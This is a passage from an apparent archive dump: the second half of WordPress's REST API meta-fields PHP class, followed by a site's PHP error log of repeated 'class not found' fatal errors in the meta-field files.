* Non-single meta can also be removed by passing an empty array.
*/
if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) {
$args = $this->get_registered_fields()[ $meta_key ];
if ( $args['single'] ) {
$current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true );
if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) {
$error->add(
'rest_invalid_stored_value',
/* translators: %s: Custom field key. */
sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
array( 'status' => 500 )
);
continue;
}
}
$result = $this->delete_meta_value( $object_id, $meta_key, $name );
if ( is_wp_error( $result ) ) {
$error->merge_from( $result );
}
continue;
}
if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) {
$error->add(
'rest_invalid_stored_value',
/* translators: %s: Custom field key. */
sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
array( 'status' => 500 )
);
continue;
}
$is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name );
if ( is_wp_error( $is_valid ) ) {
$is_valid->add_data( array( 'status' => 400 ) );
$error->merge_from( $is_valid );
continue;
}
$value = rest_sanitize_value_from_schema( $value, $args['schema'] );
if ( $args['single'] ) {
$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
} else {
$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
}
if ( is_wp_error( $result ) ) {
$error->merge_from( $result );
continue;
}
}
if ( $error->has_errors() ) {
return $error;
}
return null;
}
/**
* Deletes a meta value for an object.
*
* @since 4.7.0
*
* @param int $object_id Object ID the field belongs to.
* @param string $meta_key Key for the field.
* @param string $name Name for the field that is exposed in the REST API.
* @return true|WP_Error True if meta field is deleted, WP_Error otherwise.
*/
protected function delete_meta_value( $object_id, $meta_key, $name ) {
$meta_type = $this->get_meta_type();
if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
return new WP_Error(
'rest_cannot_delete',
/* translators: %s: Custom field key. */
sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
array(
'key' => $name,
'status' => rest_authorization_required_code(),
)
);
}
if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
return true;
}
if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
return new WP_Error(
'rest_meta_database_error',
__( 'Could not delete meta value from database.' ),
array(
'key' => $name,
'status' => WP_Http::INTERNAL_SERVER_ERROR,
)
);
}
return true;
}
/**
* Updates multiple meta values for an object.
*
* Alters the list of values in the database to match the list of provided values.
*
* @since 4.7.0
* @since 6.7.0 Stores values into DB even if provided registered default value.
*
* @param int $object_id Object ID to update.
* @param string $meta_key Key for the custom field.
* @param string $name Name for the field that is exposed in the REST API.
* @param array $values List of values to update to.
* @return true|WP_Error True if meta fields are updated, WP_Error otherwise.
*/
protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
$meta_type = $this->get_meta_type();
if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
return new WP_Error(
'rest_cannot_update',
/* translators: %s: Custom field key. */
sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
array(
'key' => $name,
'status' => rest_authorization_required_code(),
)
);
}
$current_values = get_metadata_raw( $meta_type, $object_id, $meta_key, false );
$subtype = get_object_subtype( $meta_type, $object_id );
if ( ! is_array( $current_values ) ) {
$current_values = array();
}
$to_remove = $current_values;
$to_add = $values;
foreach ( $to_add as $add_key => $value ) {
$remove_keys = array_keys(
array_filter(
$current_values,
function ( $stored_value ) use ( $meta_key, $subtype, $value ) {
return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value );
}
)
);
if ( empty( $remove_keys ) ) {
continue;
}
if ( count( $remove_keys ) > 1 ) {
// To remove, we need to remove first, then add, so don't touch.
continue;
}
$remove_key = $remove_keys[0];
unset( $to_remove[ $remove_key ] );
unset( $to_add[ $add_key ] );
}
/*
* `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise,
* `delete_metadata` will return false for subsequent calls of the same value.
* Use serialization to produce a predictable string that can be used by array_unique.
*/
$to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) );
foreach ( $to_remove as $value ) {
if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
return new WP_Error(
'rest_meta_database_error',
/* translators: %s: Custom field key. */
sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
array(
'key' => $name,
'status' => WP_Http::INTERNAL_SERVER_ERROR,
)
);
}
}
foreach ( $to_add as $value ) {
if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
return new WP_Error(
'rest_meta_database_error',
/* translators: %s: Custom field key. */
sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
array(
'key' => $name,
'status' => WP_Http::INTERNAL_SERVER_ERROR,
)
);
}
}
return true;
}
/**
* Updates a meta value for an object.
*
* @since 4.7.0
* @since 6.7.0 Stores values into DB even if provided registered default value.
*
* @param int $object_id Object ID to update.
* @param string $meta_key Key for the custom field.
* @param string $name Name for the field that is exposed in the REST API.
* @param mixed $value Updated value.
* @return true|WP_Error True if the meta field was updated, WP_Error otherwise.
*/
protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
$meta_type = $this->get_meta_type();
// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
$subtype = get_object_subtype( $meta_type, $object_id );
if ( is_array( $old_value ) && 1 === count( $old_value )
&& $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value )
) {
return true;
}
if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
return new WP_Error(
'rest_cannot_update',
/* translators: %s: Custom field key. */
sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
array(
'key' => $name,
'status' => rest_authorization_required_code(),
)
);
}
if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
return new WP_Error(
'rest_meta_database_error',
/* translators: %s: Custom field key. */
sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
array(
'key' => $name,
'status' => WP_Http::INTERNAL_SERVER_ERROR,
)
);
}
return true;
}
/**
* Checks if the user provided value is equivalent to a stored value for the given meta key.
*
* @since 5.5.0
*
* @param string $meta_key The meta key being checked.
* @param string $subtype The object subtype.
* @param mixed $stored_value The currently stored value retrieved from get_metadata().
* @param mixed $user_value The value provided by the user.
* @return bool
*/
protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) {
$args = $this->get_registered_fields()[ $meta_key ];
$sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype );
if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
// The return value of get_metadata will always be a string for scalar types.
$sanitized = (string) $sanitized;
}
return $sanitized === $stored_value;
}
/**
* Retrieves all the registered meta fields.
*
* @since 4.7.0
*
* @return array Registered fields.
*/
protected function get_registered_fields() {
$registered = array();
$meta_type = $this->get_meta_type();
$meta_subtype = $this->get_meta_subtype();
$meta_keys = get_registered_meta_keys( $meta_type );
if ( ! empty( $meta_subtype ) ) {
$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
}
foreach ( $meta_keys as $name => $args ) {
if ( empty( $args['show_in_rest'] ) ) {
continue;
}
$rest_args = array();
if ( is_array( $args['show_in_rest'] ) ) {
$rest_args = $args['show_in_rest'];
}
$default_args = array(
'name' => $name,
'single' => $args['single'],
'type' => ! empty( $args['type'] ) ? $args['type'] : null,
'schema' => array(),
'prepare_callback' => array( $this, 'prepare_value' ),
);
$default_schema = array(
'type' => $default_args['type'],
'title' => empty( $args['label'] ) ? '' : $args['label'],
'description' => empty( $args['description'] ) ? '' : $args['description'],
'default' => $args['default'] ?? null,
);
$rest_args = array_merge( $default_args, $rest_args );
$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );
$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;
if ( null === $rest_args['schema']['default'] ) {
$rest_args['schema']['default'] = static::get_empty_value_for_type( $type );
}
$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );
if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) {
continue;
}
if ( empty( $rest_args['single'] ) ) {
$rest_args['schema'] = array(
'type' => 'array',
'items' => $rest_args['schema'],
);
}
$registered[ $name ] = $rest_args;
}
return $registered;
}
/**
* Retrieves the object's meta schema, conforming to JSON Schema.
*
* @since 4.7.0
*
* @return array Field schema data.
*/
public function get_field_schema() {
$fields = $this->get_registered_fields();
$schema = array(
'description' => __( 'Meta fields.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'properties' => array(),
'arg_options' => array(
'sanitize_callback' => null,
'validate_callback' => array( $this, 'check_meta_is_array' ),
),
);
foreach ( $fields as $args ) {
$schema['properties'][ $args['name'] ] = $args['schema'];
}
return $schema;
}
/**
* Prepares a meta value for output.
*
* Default preparation for meta fields. Override by passing the
* `prepare_callback` in your `show_in_rest` options.
*
* @since 4.7.0
*
* @param mixed $value Meta value from the database.
* @param WP_REST_Request $request Request object.
* @param array $args REST-specific options for the meta key.
* @return mixed Value prepared for output. If a non-JsonSerializable object, null.
*/
public static function prepare_value( $value, $request, $args ) {
if ( $args['single'] ) {
$schema = $args['schema'];
} else {
$schema = $args['schema']['items'];
}
if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) {
$value = static::get_empty_value_for_type( $schema['type'] );
}
if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
return null;
}
return rest_sanitize_value_from_schema( $value, $schema );
}
/**
* Check the 'meta' value of a request is an associative array.
*
* @since 4.7.0
*
* @param mixed $value The meta value submitted in the request.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter name.
* @return array|false The meta array, if valid, false otherwise.
*/
public function check_meta_is_array( $value, $request, $param ) {
if ( ! is_array( $value ) ) {
return false;
}
return $value;
}
/**
* Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting
* is specified.
*
* This is needed to restrict properties of objects in meta values to only
* registered items, as the REST API will allow additional properties by
* default.
*
* @since 5.3.0
* @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead.
*
* @param array $schema The schema array.
* @return array
*/
protected function default_additional_properties_to_false( $schema ) {
_deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' );
return rest_default_additional_properties_to_false( $schema );
}
/**
* Gets the empty value for a schema type.
*
* @since 5.3.0
*
* @param string $type The schema type.
* @return mixed
*/
protected static function get_empty_value_for_type( $type ) {
switch ( $type ) {
case 'string':
return '';
case 'boolean':
return false;
case 'integer':
return 0;
case 'number':
return 0.0;
case 'array':
case 'object':
return array();
default:
return null;
}
}
}
PK h0]lBy y fields/error_lognu [ [21-May-2025 15:13:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[21-May-2025 15:13:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[21-May-2025 15:13:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[21-May-2025 15:13:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[20-Jun-2025 03:43:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[20-Jun-2025 03:43:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[20-Jun-2025 03:43:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[20-Jun-2025 03:43:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[24-Jun-2025 15:01:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[24-Jun-2025 15:01:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[24-Jun-2025 15:01:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[24-Jun-2025 15:01:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[25-Jun-2025 08:43:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[25-Jun-2025 08:43:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[25-Jun-2025 08:43:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[25-Jun-2025 08:43:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[04-Jul-2025 02:27:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[04-Jul-2025 02:27:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[04-Jul-2025 02:27:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[04-Jul-2025 02:27:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Aug-2025 09:00:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Aug-2025 09:00:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Aug-2025 09:00:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Aug-2025 09:00:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[28-Aug-2025 09:09:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Aug-2025 09:09:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Aug-2025 09:09:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Aug-2025 09:09:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:14:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:14:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:14:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:14:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:14:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:14:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:14:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:14:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:14:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:14:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:14:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:14:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:14:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:14:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:14:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:14:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:32:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:32:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:32:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:32:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:32:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:32:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:32:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:32:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:32:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:32:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
